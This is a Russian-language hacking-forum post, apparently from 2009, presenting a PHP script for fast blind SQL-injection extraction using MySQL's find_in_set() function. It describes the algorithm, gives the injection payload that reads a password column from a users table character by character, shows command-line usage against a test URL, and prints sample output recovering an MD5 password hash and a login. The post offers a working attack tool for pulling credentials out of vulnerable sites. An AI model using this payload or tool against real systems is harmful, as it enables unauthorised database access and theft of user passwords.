Показать сообщение отдельно

Скрипт для работы через find_in_set() (метод - 4)
  #2  
Старый 04.05.2009, 17:27
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию Скрипт для работы через find_in_set() (метод - 4)

За основу взят скрипт c cih.ms, который написал +toxa+.

Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ.


Алгоритм работы скрипта:
1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите.
2) Вычисляет ключевые слова для каждого из вариантов.
3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ])
4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден.

Описание:
запуск из консоли в виде:
Код:
fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно.
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Код:
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password users
или
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= login users 0 5 1 r,a,o,t,z
Результат работы:
Код:
Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: 63a9f0ea7bb98050796b649e85481845 [DONE]

или

Generating templates..... [OK]
Getting keywords..... [OK]
Filtering keywords..... [OK]
Sending queries..... [OK]
Getting value: root [DONE]
В строках Generating templates и Sending queries каждая точка обозначает отправленный запрос. В остальных - обработку символов.

P.S.
Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД.
Вложения
Тип файла: txt fast_in_set.txt (6.5 Кб, 76 просмотров)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 04.05.2009 в 17:39..
 
Ответить с цитированием